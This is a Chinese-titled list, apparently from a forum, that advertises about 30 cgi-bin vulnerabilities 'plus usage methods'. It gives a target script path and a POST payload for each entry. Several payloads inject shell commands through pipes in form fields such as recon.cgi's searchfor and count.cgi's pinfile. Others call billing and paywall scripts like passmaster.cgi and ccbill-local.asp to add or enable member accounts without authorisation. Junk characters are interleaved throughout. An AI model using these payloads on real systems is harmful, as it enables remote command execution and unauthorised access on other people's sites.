Cgi-bin 30个漏洞＋使用方法

admin

==============================

/ u+ c$ E7 \1 f' A% [/smspass.pl
username=username&password=password

8 P4 I$ e8 H9 m$ N/index.cgi
" b$ |5 w: A2 i. J; G4 w$ g/ dwei=ren&gen=command
# P0 ]9 [5 u% z$ Z6 I3 U$ [
/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
+ W) P' O' e6 X$ h2 R
3 }/ r3 Z0 ]. g7 l/ O% [/form.cgi
) r; S) y# P$ Rname=xxxx&email=email&subject=xxxx&response=|echo;ls|

5 g* k2 v4 C' n  N2 W% e/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

% N  W# c' D& C2 t/ccbill-local.asp
post_values=username:password

/count.cgi
pinfile=|echo;ls -la;exit|
6 \- @' a( u0 X5 `( D
/recon.cgi
# N. ?! T; U: l8 F/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
" j) |( e, i& L( M, M* ]7 P* f
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
+ ?$ ]* I% T& l- i% _1 i_browser_out=|echo;ls -la;exit;|
( _6 p, h2 H9 ?* c5 @# f
/modify.cgi
' _& ?# f$ r) ?- Ousername=username&password=password&expire=30

/openjournal.cgi
; j; E7 o! E4 m5 Z, E+ }$ Xedit=1&ct=2&go=|echo;ls -al;exit|

' ^4 X# U" r! _4 Q/gx9passwd.cgi
+ m* W* W( o8 [# V* q" i# ycmd=ADD&user=username&pass=password

/probecontrol.cgi
command=enable&username=username&password=password
+ v% I4 {# Q) s) y+ j4 _) ~
$ J" s7 q" I4 ~' |* O5 f/recon.cgi
3 O- f/ c7 o3 j: n- |searchoption=3&searchfor=echo;ls -la;exit

9 g7 b# b+ u; p; I& A! R# |/htadd.pl
: l/ s: O/ E9 rconfigfile=|echo; ls -alt; exit

6 r7 }7 j8 d$ M/gx9passwd.cgi
0 q( ?# H+ P% }/ u# D% s" ^; Ncmd=ADD&user=username&pass=password
  O4 r8 R# f. f/ Z
/ibill*.pl
1 h' V9 M6 h3 d9 c( Rreqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
0 W* K- D% B; Y0 O7 v! U# kcommand=add_member&username=username(EMAIL)&password=password(DES)
, E! y; Z" p; }( |) S
/globill_ut.cgi
; D$ N; ~, h1 M6 `. b( ]6 @do=add&username=username&password=password&wpassword=password

( Q1 u7 r  A) v/ l$ S3 u/usercontrol.cgi
" v, o7 P  N2 {7 h& N# _command=enable&username=USER&password=PASS

) `! g+ V0 C# U' z! n/globoSALErum.cgi
' F2 c! H+ g; Y* K' qaction=ADD&seccode=seccode&login=username&password=password
. K3 o) H! E/ R# g* x$ Z
/addusr.pl
/ i2 s, y: o" t2 r/ ^user=USER&pass=PASS&confirm=PASS
: T% V& p9 O* \/ t6 \( V+ g) a
! D% h- I; z3 |( l/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
7 z6 Y( R9 z$ P- H/cgi-bin/gateway/accountcreate.cgi
9 w! h) v' a! E# |' M% Iusername=username&password=password&password2=password&ref1=|echo;ls -al;exit

5 u2 R. p9 T; e/af.cgi
/env.cgi
ADD+;echo;pwd;exit
. W  D% Q" G5 q' r% x/ z3 A; e% s
& R/ L( k: f% J/ X/count.cgi
: B) E. K# x: \; h: Wpinfile=|echo;pwd;exit|

/recon.cgi
0 e7 v4 J7 {9 |3 j4 p9 csearchoption=1&searchfor=|echo;ls%20-al;exit|
7 Y3 {; v. ^7 y
/add.cgi
username=username&password=password&expire=30
/ s( {: i; W6 F0 ]0 T3 l5 F1 u' f. `
==============================